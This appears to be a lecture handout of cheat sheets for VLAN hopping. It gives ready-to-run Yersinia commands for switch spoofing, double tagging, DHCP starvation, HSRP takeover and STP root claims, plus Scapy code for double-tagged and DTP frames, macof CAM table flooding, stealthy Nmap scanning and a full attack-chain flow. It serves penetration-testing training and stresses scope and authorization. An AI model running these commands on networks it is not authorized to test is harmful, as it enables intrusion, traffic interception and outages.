

VLAN Hopping Toolkit

Tool Cheat Sheets for the VLAN Hopping Lecture

Wireshark · tcpdump · Yersinia · Scapy · dsniff/macof · Nmap & arp-scan · Linux L2 basics

WHAT'S INSIDE

- Wireshark — capture & display filters for STP / CDP / DTP / 802.1Q
- tcpdump — headless capture one-liners for the same traffic
- Yersinia — full command reference, GUI and CLI, every relevant protocol
- Scapy — hand-crafting DTP and double-tagged frames in Python
- dsniff suite / macof — CAM table flooding as a VLAN-hop alternative
- Nmap & arp-scan — safe post-hop enumeration once you land on a new VLAN
- Linux L2 basics — interfaces, promiscuous mode, VLAN sub-interfaces
- One-page attack-chain command flow tying every tool together

01 Wireshark

Passive capture & validation — run this before and during every active step

Wireshark is your proof layer. Every attack in the lecture is validated by watching for the right frames in Wireshark before and after firing Yersinia or Scapy.

SETUP

```
# Start capture on the wired interface connected to the target switch port
sudo wireshark &
# or capture straight to disk from the CLI, then open later
sudo tshark -i eth0 -w capture.pcap
```

DISPLAY FILTERS — VLAN HOPPING RELEVANT

Filter	What it shows / why you'd use it
stp	Spanning Tree BPDUs — normal switch control chatter, good baseline traffic
cdp	Cisco Discovery Protocol — reveals switch model, IOS version, neighboring port
lldp	Link Layer Discovery Protocol — vendor-neutral equivalent of CDP
dtp	Dynamic Trunking Protocol frames — watch for these before/after a switch-spoofing attempt
vlan	Any 802.1Q tagged frame — shows the VLAN ID field directly in the packet list
vlan.id == 22	Filter to a specific VLAN ID once you know which one you're chasing
eth.type == 0x8100	Raw filter for 802.1Q tagged EtherType — useful if the vlan dissector misses double-tagged frames
arp	Broadcast ARP requests — the easiest "did I reach the other VLAN" signal
ip.addr == 192.168.22.0/24	Isolate traffic to/from the target VLAN's subnet once you have a hop

CAPTURE FILTERS (applied before capture starts, BPF syntax)

```
# Only STP + CDP (low volume baseline)
ether proto 0x88cc or ether proto 0x2000

# Only 802.1Q tagged traffic
vlan

# One specific VLAN ID once inside Wireshark capture options
vlan 22
```

PRACTICAL TIP

Keep two capture windows open side by side during a live attack: one filtered to `dstp` or `srcp` to watch the negotiation, and a second, unfiltered, to catch anything unexpected. Switching filters live can make you miss the exact frame that proves the hop.

02 tcpdump

The headless, scriptable alternative to Wireshark

Use tcpdump when you're on a box without a GUI, need to pipe output into a script, or want a lightweight always-on capture running in a tmux session while you work in Yersinia elsewhere.

CORE COMMANDS

```
# Basic capture on an interface, verbose
sudo tcpdump -i eth0 -v

# Write to a pcap file for later Wireshark analysis
sudo tcpdump -i eth0 -w capture.pcap

# Only VLAN-tagged frames
sudo tcpdump -i eth0 vlan

# Only a specific VLAN ID (e.g. the target VLAN 22)
sudo tcpdump -i eth0 vlan 22

# STP + CDP baseline chatter
sudo tcpdump -i eth0 'ether proto 0x2000 or stp'

# ARP only – fastest way to see a cross-VLAN hop happen live
sudo tcpdump -i eth0 -n arp

# Read back a saved capture, filter to the target subnet
tcpdump -r capture.pcap 'net 192.168.22.0/24'
```

FLAG REFERENCE

-i interface | -w write to file | -r read from file | -n don't resolve DNS (faster, less noisy) | -e show link-layer/MAC header | -XX show hex + ASCII payload.

03 Yersinia

The purpose-built Layer 2 attack framework used for both attacks in the lecture

Yersinia supports attacks against STP, CDP, DTP, DHCP, HSRP, 802.1Q, and more. It ships a GUI (fastest for live demos) and a scriptable CLI.

LAUNCHING

```
# Graphical mode (used in the lecture)
sudo yersinia -G

# Interactive ncurses mode
sudo yersinia -I

# Straight CLI / daemon mode, scriptable
sudo yersinia dtp -attack 1
```

GUI WORKFLOW (BOTH LECTURE ATTACKS)

- 1 Launch: `sudo yersinia -G`
- 2 Top menu → **Launch attack**
- 3 Pick the protocol tab: **DTP** for switch spoofing, **802.1Q** for double tagging
- 4 DTP tab → tick **"enable trunking"** (leave denial-of-service unticked)
- 5 802.1Q tab → tick **"send 802.1Q double encapsulated packets"**
- 6 Click OK to fire, then flip to Wireshark to confirm

CLI ATTACK REFERENCE BY PROTOCOL

Protocol	Example command	What it does
dtp	<code>sudo yersinia dtp -attack 1</code>	Send DTP "desirable" — negotiate the port into trunk mode (switch spoofing)
dot1q	<code>sudo yersinia dot1q -attack 1</code>	Send double-encapsulated 802.1Q frames (double tagging)
stp	<code>sudo yersinia stp -attack 4</code>	Claim root bridge role — topology manipulation / DoS, not used in this lecture but common follow-on
cdp	<code>sudo yersinia cdp -attack 1</code>	Flood CDP table on the neighboring switch — recon disruption / DoS
dhcp	<code>sudo yersinia dhcp -attack 1</code>	DHCP starvation — exhaust the scope, often paired with a rogue DHCP server
hsrp	<code>sudo yersinia hsrp -attack 1</code>	Become the active HSRP router — redirect gateway traffic through you

WATCH OUT

The DTP and 802.1Q modules both have a denial-of-service checkbox in the GUI, separate from the trunking/double-tag options used here. Leave it unticked unless a DoS is explicitly in scope for the engagement — it's a different objective with different rules of engagement.

04 Scapy

Hand-craft the frames yourself once you understand what Yersinia is doing

Scapy is a Python packet-manipulation library. It's slower to get started with than Yersinia but gives full control — useful once switch spoofing or double tagging is proven, and you want to customize the payload, source MAC, or protocol riding inside the hop.

INTERACTIVE SHELL BASICS

```
sudo scapy
>>> conf.iface = 'eth0'
```

CRAFTING A DOUBLE-TAGGED FRAME (VLAN 11 OUTER / VLAN 22 INNER)

```
>>> from scapy.all import *
>>> frame = (Ether(dst='ff:ff:ff:ff:ff:ff') /
... Dot1Q(vlan=11) / # outer tag = your native VLAN
... Dot1Q(vlan=22) / # inner tag = target VLAN
... IP(dst='192.168.22.11') /
... ICMP())
>>> sendp(frame, iface='eth0', count=5)
```

CRAFTING A DTP "DESIRABLE" FRAME (SWITCH SPOOFING)

```
>>> from scapy.contrib.dtp import *
>>> dtp_frame = Ether(dst='01:00:0c:cc:cc:cc') / SNAP() / DTP(
... tlvlist=[DTPDomain(data='lab'),
... DTPStatus(status=3), # 3 = desirable
... DTPTYPE(dtptype=3), # negotiate trunk encapsulation
... DTPNeighbor(neighbor=get_if_hwaddr('eth0'))])
>>> sendp(dtp_frame, iface='eth0')
```

WHY BOTHER WITH SCAPY IF YERSINIA ALREADY DOES THIS

Yersinia proves the concept fast. Scapy lets you chain the hop into something specific — a spoofed source address, a custom payload for a blind injection test, or a scripted repeatable test you can hand to a client's blue team to re-run after they apply the fix.

05 dsniff Suite / macof

CAM table flooding — a different route to the same goal (seeing traffic outside your VLAN)

Not used in the original lecture, but directly relevant: if DTP is disabled and double tagging doesn't apply, flooding a switch's CAM (MAC address) table can force some switches to fail open — broadcasting unknown-destination frames out every port like a hub, which leaks traffic across VLAN boundaries on that physical switch.

CORE COMMANDS

```
# Flood the local switch's CAM table with random MAC/IP pairs
sudo macof -i eth0

# Limit the flood rate (gentler, less likely to trip an IDS/alerting)
sudo macof -i eth0 -n 2000

# Target a specific destination subnet
sudo macof -i eth0 -d 192.168.22.0/24
```

THIS IS NOISY — THINK BEFORE YOU RUN IT

CAM table flooding is aggressive, easily logged, and can degrade switch performance for every host on it, not just your target. Modern switches also frequently drop into port-security shutdown mode rather than failing open. Treat this as a last-resort technique to mention as a finding, not a default first move, and always confirm it is in scope.

06 Nmap & arp-scan

Safe enumeration once you've actually landed on the new VLAN

A successful hop is a beachhead, not a result. Once switch spoofing gives you a live trunk, or you want to enumerate what's reachable, use these carefully and at a low scan rate — loud scanning right after a VLAN hop is a common way to get caught.

ARP-SCAN — FASTEST WAY TO SEE WHO'S ALIVE ON A NEW SEGMENT

```
# Sweep the target VLAN's subnet via ARP (works even without an IP on that VLAN if you
# are bridging/trunked)
sudo arp-scan --interface=eth0 192.168.22.0/24

# Sweep the local subnet automatically
sudo arp-scan -l
```

NMAP — LOW AND SLOW ENUMERATION

```
# Host discovery only, no port scan yet – confirms who's actually up
sudo nmap -sn 192.168.22.0/24

# Slow timing template to stay under the radar (T0-T5, lower = slower/quieter)
sudo nmap -T2 -sS 192.168.22.0/24

# If you need to reach the target VLAN through an 802.1Q trunk interface you created
sudo nmap -e eth0.22 -sS 192.168.22.0/24
```

SCAN DISCIPLINE

Start with -sn (ping sweep) before any port scan. On an engagement, confirm scan rate/timing expectations with the client beforehand — a hopped VLAN is often a more sensitive segment (finance, OT/ICS) where aggressive scanning has a higher chance of causing a real outage.

07 Linux Networking Basics

Interface and VLAN sub-interface commands you'll need to support every attack above

INTERFACE MANAGEMENT

```
# List interfaces
ip link show

# Bring an interface up / down
sudo ip link set eth0 up
sudo ip link set eth0 down

# Enable promiscuous mode (see traffic not addressed to you – needed for sniffing a trunk)
sudo ip link set eth0 promisc on
```

CREATING A VLAN SUB-INTERFACE (ONCE YOU'RE ON A TRUNK)

```
# After a successful switch-spoofing trunk negotiation, tag your own traffic for VLAN 22
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.22 type vlan id 22
sudo ip link set eth0.22 up
sudo dhclient eth0.22 # or assign a static IP in that range

# Older / alternate syntax using vconfig
sudo vconfig add eth0 22
sudo ifconfig eth0.22 up
```

WHY THIS MATTERS

Sniffing proves the hop; a tagged sub-interface lets you actually send and receive normal IP traffic on the target VLAN — the difference between "I can see VLAN 22" and "I have a working foothold on VLAN 22" in your report.

08 Full Attack-Chain Command Flow

Every tool above, in the order you'd actually run them on an engagement

```
# 1. Baseline - see what the port is doing before you touch anything
sudo wireshark &
# (or: sudo tcpdump -i eth0 -w baseline.pcap)

# 2. Recon the switch via CDP/LLDP (passive, in the same capture)
# filter in Wireshark: cdp or lldp

# 3. Attempt switch spoofing
sudo yersinia -G
# DTP tab -> enable trunking
# confirm in Wireshark: dtp / vlan filters show trunk + multi-VLAN traffic

# 4. If spoofing fails, attempt double tagging
sudo yersinia -G
# 802.1Q tab -> double encapsulated packets
# confirm in Wireshark: ip.addr == 192.168.22.0/24 traffic appears

# 5. If both fail, consider CAM table flooding (confirm scope first)
sudo macof -i eth0 -n 2000

# 6. On a confirmed hop, build a real interface and enumerate carefully
sudo ip link add link eth0 name eth0.22 type vlan id 22
sudo ip link set eth0.22 up
sudo arp-scan --interface=eth0.22 192.168.22.0/24
sudo nmap -T2 -sn 192.168.22.0/24

# 7. Document: pcap evidence, Yersinia settings used, switch fingerprint, and the finding
```

SCOPE & ETHICS REMINDER

Every command in this toolkit is for a lab you own or an engagement covered by a signed statement of work. Running these against a network you don't have written authorization for is unauthorized access under most computer-crime laws.